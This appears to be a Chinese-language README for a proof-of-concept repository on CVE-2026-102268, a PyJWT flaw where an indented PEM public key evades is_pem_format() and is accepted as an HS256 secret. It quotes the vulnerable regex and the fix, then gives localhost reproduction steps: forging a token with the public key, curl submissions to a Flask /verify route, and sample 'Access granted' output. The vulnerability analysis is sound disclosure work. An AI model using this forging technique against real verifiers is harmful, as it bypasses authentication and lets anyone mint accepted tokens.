可利用性分析结果: 根本原因已确认,且端到端利用可复现。一个经过空白字符变异的 PEM 公钥绕过了 PyJWT 的
is_pem_format()防护,并被接受为有效的 HMAC 密钥,从而能够对任何同时允许RS256和HS256的验证器进行完整的 HS256 令牌伪造。详情见分析。
CVE-2026-102268 是 PyJWT 中的一个算法混淆漏洞。在将任何密钥用作 HMAC 密钥之前,HMACAlgorithm.prepare_key() 会调用 is_pem_format() 来拒绝那些看起来像 PEM 编码的非对称密钥或证书的密钥——这是针对 RS256/HS256 混淆攻击的标准防御措施。
is_pem_format() 是一个单一的正则表达式,它要求密钥主体与 BEGIN/END 标记之间具有精确的 \r?\n 相邻关系。而 cryptography 自身的 PEM 加载器没有这样的要求。一个标记相邻处带有空白字符、仅含 CR 行终止符、或折叠成单行的 PEM 文件,会被 cryptography.load_pem_public_key() 解析为完全有效的密钥,而 is_pem_format() 在完全相同的字节上却返回 False。
其后果是:非对称密钥防护永远不会触发,公钥被接受为 HMAC 密钥,而任何持有该公钥的人——公钥按定义就是公开的——都可以为任何同时允许 RS256 和 HS256 的验证器铸造有效的 HS256 令牌。
本仓库包含一个最小的 Flask 验证器和一个复现密钥,用于端到端确认这一说法。
| 受影响范围 | 修复版本 |
|---|---|
| < 2.14.0 | 2.14.0 |
jwt/utils.py 中存在漏洞的检查(2.14.0 之前的所有版本):
# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
在 jwt/algorithms.py 中以此作为门控:
# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
正则表达式中的 [- ] 分隔符只容忍紧邻标记短横线的单个短横线或空格。任何其他位于密钥主体末尾换行符与 END 标记之间的空白字符——一个缩进、一个多余的 \r、一个重新折行的单行——都会导致匹配失败,因此 is_pem_format() 在一个 cryptography 毫无怨言地解析的文件上报告 False。
修复方案(提交 8b4e233,发布于 2.14.0)将正则表达式替换为对受支持的 BEGIN/END 标记集进行单遍扫描的扫描器,该扫描器不依赖于精确的换行相邻关系——从而关闭了这一绕过,并在同一变更中修复了同一函数中相关的 ReDoS(CVE-2026-102270)。
本仓库中的 public_key.pem 是一个普通的 2048 位 RSA 公钥,只有一处改动:-----END PUBLIC KEY----- 行缩进了四个空格。
1wIDAQAB
-----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout # parses cleanly, no warning
运行 utils.py 可直接针对该库确认绕过,独立于 Flask 应用:
$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}
jwt.encode(..., PUBLIC_KEY, algorithm="HS256") 成功执行。在已修补的 PyJWT(≥ 2.14.0)上,同样的调用会抛出 InvalidKeyError——is_pem_format() 无论缩进如何都能正确地将该文件标记为 PEM 密钥,HMAC 路径会拒绝它。而在这里,它不会:四个空格的缩进足以让正则表达式漏掉,公钥字节被接受为普通的 HMAC 密钥。
app.py 复现了真实世界的前提条件——一个验证器的 algorithms 允许列表混合了非对称和对称算法:
decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])
使用 utils.py 的方法伪造的令牌提交到 /verify 会被接受:/verify 返回 200 以及伪造的声明,而该令牌从未被任何持有私钥的人签名过。
cve-2026-102268-poc/
├── Dockerfile # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml # Single-service compose for the verifier
├── requirements.txt # Flask, Werkzeug, PyJWT==2.4.0
├── app.py # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem # RSA public key, END marker indented by 4 spaces
└── README.md
| 工具 | 版本 | 备注 |
|---|---|---|
| Podman | ≥ 4.0 | Docker 也可以 |
| Python | ≥ 3.9 | 仅用于在本地运行 utils.py |
| curl | 任意 | 用于直接测试 /verify |
podman-compose up -d
等待几秒钟,然后确认服务已启动:
curl -si http://localhost:8080/verify -X POST \
-H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400 (missing token, but the service is reachable)
python utils.py
这会使用 public_key.pem 以 HS256 签名 {"some": "payload"} 并打印生成的 JWT——即伪造原语。复制编码后的令牌。
curl -s http://localhost:8080/verify \
-H 'Content-Type: application/json' \
-d '{"token": "<forged-jwt-here>"}'
podman-compose down
将步骤 2 中的 requirements.txt 里固定的 2.4.0 替换为已安装的 PyJWT>=2.14.0 后重复步骤 2。jwt.encode() 会在生成令牌之前抛出 InvalidKeyError。
============================================================
CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
Key : public_key.pem (RSA public key, END marker indented)
Target : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...
[2] Submitting forged token to /verify (algorithms=["RS256","HS256"])...
------------------------------------------------------------
[✓] HTTP 200 — Access granted
{"message": "Access granted", "payload": {"some": "payload"}}
is_pem_format(PUBLIC_KEY) returned False — the asymmetric-key
guard in HMACAlgorithm.prepare_key() never fired.
============================================================
| 资源 | 链接 |
|---|---|
| GitHub Advisory | https://github.com/advisories/GHSA-ffc3-869f-jxw9 |
| 修复提交 | https://github.com/jpadilla/pyjwt/commit/8b4e233a22206b34ec1186e912e75c0b2396ac07 |
| 相关 ReDoS 公告(同一修复) | https://github.com/advisories/GHSA-jwrc-g2q2-pq5p |
| PyJWT 2.14.0 发布 | https://github.com/jpadilla/pyjwt/releases/tag/2.14.0 |
jwt/algorithms.py(main) | https://github.com/jpadilla/pyjwt/blob/master/jwt/algorithms.py |
| 完整分析 — 博客文章 | https://return-zero.dev/posts/cve-2026-102268 |
本仓库仅供教育目的和本地可利用性分析使用。所有测试均针对自托管容器环境进行。请勿对您不拥有或未获得明确书面授权测试的系统运行此 PoC。